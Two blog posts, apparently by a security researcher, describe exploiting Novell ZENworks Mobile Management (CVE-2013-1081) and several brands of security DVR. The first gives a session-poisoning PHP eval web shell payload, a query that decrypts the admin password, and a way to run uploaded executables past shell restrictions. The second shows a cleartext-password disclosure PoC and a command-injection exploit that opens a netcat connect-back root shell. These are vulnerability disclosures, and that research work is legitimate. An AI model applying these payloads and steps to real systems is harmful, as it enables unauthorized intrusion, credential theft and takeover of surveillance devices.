Tuesday, June 4, 2013

Novell Zenworks MDM: Mobile Device Management for the Masses

I'm pretty sure the reason Novell titled their Mobile Device Management (MDM, yo) under the 'Zenworks' group is because the developers of the product HAD to be in a state of meditation (sleeping) when they were writing the code you will see below.

For some reason the other night I ended up on the Vupen website and saw the following advisory on their page:
Novell ZENworks Mobile Management LFI Remote Code Execution (CVE-2013-1081) [BA+Code]
I took a quick look around and didn’t see a public exploit anywhere so after discovering that Novell provides 60 day demos of products, I took a shot at figuring out the bug.
The actual CVE details are as follows:
“Directory traversal vulnerability in MDM.php in Novell ZENworks Mobile Management (ZMM) 2.6.1 and 2.7.0 allows remote attackers to include and execute arbitrary local files via the language parameter.”
After setting up a VM (Zenworks MDM 2.6.0) and getting the product installed it looked pretty obvious right away ( 1 request?) where the bug may exist:
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=3v5ldq72nvdhsekb2f7gf31p84
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

Pulling up the source for the “DUSAP.php” script the following code path stuck out pretty bad:

$UserName = $_REQUEST['username'];
$Domain = $_REQUEST['domain'];
$Password = $_REQUEST['password'];
$Language = $_REQUEST['language'];
$DeviceID = '';

if ($Language !== ''  &&  $Language != $_SESSION["language"])
     //check for validity
     if ((substr($Language, 0, 14) == 'res\\languages\\' || substr($Language, 0, 14) == 'res/languages/') && file_exists($Language))
          $_SESSION["language"] = $Language;

if (isset($_SESSION["language"]))
     require_once( $_SESSION["language"]);
} else
     require_once( 'res\languages\English.php' );

$_SESSION['$DeviceSAKey'] = mdm_AuthenticateUser($UserName, $Domain, $Password, $DeviceID);
In English:

  • Check if the "language" parameter is passed in on the request
  • If the "Language" variable is not empty and if the "language" session value is different from what has been provided, check its value
  • The "validation" routine checks that the "Language" variable starts with "res\languages\" or "res/languages/" and then if the file actually exists in the system
  • If the user has provided a value that meets the above criteria, the session variable "language" is set to the user provided value
  • If the session variable "language" is set, include it into the page
  • Authenticate

So it is possible to include any file from the system as long as the provided path starts with “res/languages” and the file exists. To start off it looked like maybe the IIS log files could be a possible candidate to include, but they are not readable by the user everything is executing under…bummer. The next spot I started looking for was if there was any other session data that could be controlled to include PHP. Example session file at this point looks like this:
$error|s:12:"Login Failed";language|s:25:"res/languages/English.php";$DeviceSAKey|i:0;
The "$error" value is server controlled, the "language" has to be a valid file on the system (cant stuff PHP in it), and "$DeviceSAKey" appears to be related to authentication. Next step I started searching through the code for spots where the "$_SESSION" is manipulated hoping to find some session variables that get set outside of logging in. I ran the following to get a better idea of places to start looking:
egrep -R '\$_SESSION\[.*\] =' ./
This pulled up a ton of results, including the following:
 /desktop/download.php:$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
 Taking a look at the “download.php” file the following was observed:

if (isset($_SESSION["language"]))
     require_once( $_SESSION["language"]);
} else
     require_once( 'res\languages\English.php' );
$filedata = $_SESSION['filedata'];
$filename = $_SESSION['filename'];
$usersakey = $_SESSION['UserSAKey'];

$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$active_user_agent = strtolower($_SESSION['user_agent']);

$ext = substr(strrchr($filename, '.'), 1);

if (isset($_SESSION['$DeviceSAKey']) && $_SESSION['$DeviceSAKey']  > 0)

} else
     $_SESSION['$error'] = LOGIN_FAILED_TEXT;
     header('Location: index.php');

The first highlighted part sets a new session variable "user_agent" to whatever our browser is sending, good so far.... The next highlighted section checks our session for "DeviceSAKey" which is used to check that the requester is authenticated in the system, in this case we are not so this fails and we are redirected to the login page ("index.php"). Because the server stores our session value before checking authentication (whoops) we can use this to store our payload to be included :)

This will create a session file named "sess_payload" that we can include, the file contains the following:
 user_agent|s:34:"<?php echo(eval($_GET['cmd'])); ?>";$error|s:12:"Login Failed";
 Now, I’m sure if you are paying attention you’d say “wait, why don’t you just use exec/passthru/system”, well the application installs and configures IIS to use a “guest” account for executing everything – no execute permissions for system stuff (cmd.exe,etc) :(. It is possible to get around this and gain system execution, but I decided to first see what other options are available. Looking at the database, the administrator credentials are “encrypted”, but I kept seeing a function being used in PHP when trying to figure out how they were “encrypted”: mdm_DecryptData(). No password or anything is provided when calling the fuction, so it can be assumed it is magic:
return mdm_DecryptData($result[0]['Password']); 
Ends up it is magic – so I sent the following PHP to be executed on the server -
$pass=mdm_ExecuteSQLQuery("SELECT Password FROM Administrators where AdministratorSAKey = 1",array(),false,-1,"","","",QUERY_TYPE_SELECT);
echo $pass[0]["UserName"].":".mdm_DecryptData($pass[0]["Password"]);

Now that the password is available, you can log into the admin panel and do wonderful things like deploy policy to mobile devices (CA + proxy settings :)), wipe devices, pull text messages, etc….

This functionality has been wrapped up into a metasploit module that is available on github:

Next up is bypassing the fact we cannot use "exec/system/passthru/etc" to execute system commands. The issue is that all of these commands try and execute whatever is sent via the system "shell", in this case "cmd.exe" which we do not have rights to execute. Lucky for us PHP provides "proc_open", specifically the fact "proc_open" allows us to set the "bypass_shell" option. So knowing this we need to figure out how to get an executable on the server and where we can put it. The where part is easy, the PHP process user has to be able to write to the PHP "temp" directory to write session files, so that is obvious. There are plenty of ways to get a file on the server using PHP, but I chose to use "php://input" with the executable base64'd in the POST body:
This bit of PHP will read the HTTP post’s body (php://input) , base64 decode its contents, and write it to a file in a location we have specified. This location is relative to where we are executing so it should work no matter what directory the product is installed to.

After we have uploaded the file we can then carry out another request to execute what has been uploaded:
foreach($output+as &$temp){echo+$temp."\\r\\n";};
The key here is the “bypass_shell” option that is passed to “proc_open”. Since all files that are created by the process user in the PHP “temp” directory are created with “all of the things” permissions, we can point “proc_open” at the file we have uploaded and it will run :)

This process was then rolled up into a metasploit module which is available here:

Update: Metasploit modules are now available as part of metasploit.

Tuesday, January 22, 2013

Swann Song - DVR Insecurity

"Swan song" is a metaphorical phrase for a final gesture, effort, or performance given just before death or retirement. This post serves as the "swan song" for a whole slew of DVR security systems. With that being said, I will refer to the lyrical master MC Hammer, lets turn this mutha' out.

I recently had a chance to get my hands on a 4 channel DVR system system sold under a handful of company banners (4/8/16 channels) - Swann, Lorex, Night Owl, Zmodo, URMET, kguard security, etc. A few device model numbers are - DVR04B, DVR08B, DVR-16CIF, DVR16B
After firing up the device and putting it on the network I noticed that it was running a telnet server, unfortunately the device does not appear to come configured with an easy/weak login :(. Time to open it up and see whats going on :)

After opening the device up something grabbed my attention right away....

The highlighted header looked like a pretty good possibility for a serial port, time to break out the multi-meter and check. After a couple power cycles, the header was indeed a serial port :)

After hooking up my usb to serial breakout board to the device serial port and guessing at the following serial settings: 115200 8-N-1 , I was stuck looking at a login prompt without a working login or password.

Lucky for me the device startup can be reconfigured using the u-boot environment. The environment variable "bootargs" can be adjusted to boot the linux system into single user mode by appending "single" to the end of the existing settings:
setenv bootargs mem=68M console=ttyAMA0,115200 root=1f01 rootfstype=jffs2 mtdparts=physmap-flash.0:4M(boot),12M(rootfs),14M(app),2M(para) busclk=220000000 single

This change to the bootargs variable is only temporary at this point, if we were to power cycle the device the change would be lost. It is possible to write these changes to the device, but in this case we only want to boot into single user mode once. To boot the device you need to tell the boot loader where the kernel exists in memory, this value can be found in the default environment variable “bootdcmd”.

Once the device is booted up in single user mode, the root password can be reset and the device can be rebooted. Telnet now works, but what fun is that when these devices don't normally expose telnet to the internet :). Now for the real fun...looking at the device the default configuration is setup to auto-magically use the power of the dark lord satan (uPnP) to map a few ports on your router (if it supports uPnP). One of the ports that it will expose is for the web (activeX) application and the other is the actual comms channel the device uses (port 9000). The first item I looked at was the web application that is used to view the video streams remotely and configure the device. The first thing that I found with this lovely device is that the comms channel (9000) did not appear to do any authentication on requests made to it...Strike 1. I imagine the activeX application that is used to connect to the device could be patched to just skip the login screen, but that seems like a lot of work, especially when there are much easier ways in. The next thing I saw was a bit shocking...when you access the application user accounts page the device sends the application all the information about the accounts stored on the device. This includes the login and password. In clear text. Strike 2. I created a small PoC in python that will pull the password from a vulnerable device:
python getPass.py
[+]Username: admin
[+]Password: 123456
Script can be found here.

After owning the device at the "application" level, I figured it was time to go deeper.

Port 9000 is run by a binary named 'raysharpdvr'. I pulled the binary off the device and started going through it looking for interesting stuff. First thing I noticed was the device was using the "system" call to carry out some actions, after chasing down these calls and not seeing much, the following popped up:

"sprintf" with user input into a "system", that'll do it. Couple problems to overcome with this. First in order to use this vector for command injection you must configure the device to use "ppp" - this will cause the device to go offline and we will not be able to interact with it further :(. We can get around this issue by injecting a call to the dhcp client appliction ("udhcpc") - this will cause the device to use dhcp to get its network information bypassing the previous "ppp" config. The other issue is once we have reconfigured the device to run our command, it needs to be restarted before it will execute (its part of the init scripts). The application does not actually provide a way to reboot the device using the web interface, there is a section that says 'reboot', but when it is triggered nothing happens and some debugging information displayed in the serial console saying the functionality is not implemented. Lucky for us there are plenty of overflow bugs in this device that will lead to a crash :). The device has a watchdog that polls the system to check if the "raysharpdvr" application is running and if it does not see it, it initiates a system reboot - very helpful. With those two issues out of the way the only thing left is HOW to talk to our remote root shell that is waiting for us....luckily the device ships with netcat built into busybox, -e flag and all :)
Usage: sploit.py <target> <connectback host> <connectback port>
$ python sploit.py 9999
[*]Sending Stage 1
[*]Sending Stage 2
[*]Rebooting the server with crash....
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on
Strike 3, get this weak shit off my network. The script can be found here. The script relies on the web application running on port 80, this is not always the case so you may need to adjust the script to fix if your device listens on another port. It is also worth noting that it may take a few minutes for the device to reboot and connect back to you.
Unfortunately the web server that runs on this device does not behave correctly (no response headers) so I do not believe finding these online is as easy as searching shodan, however it is possible to fingerprint vulnerable devices by looking for hosts with port 9000 open.

tl;dr; A whole slew of security dvr devices are vulnerable to an unauthenticated login disclosure and unauthenticated command injection.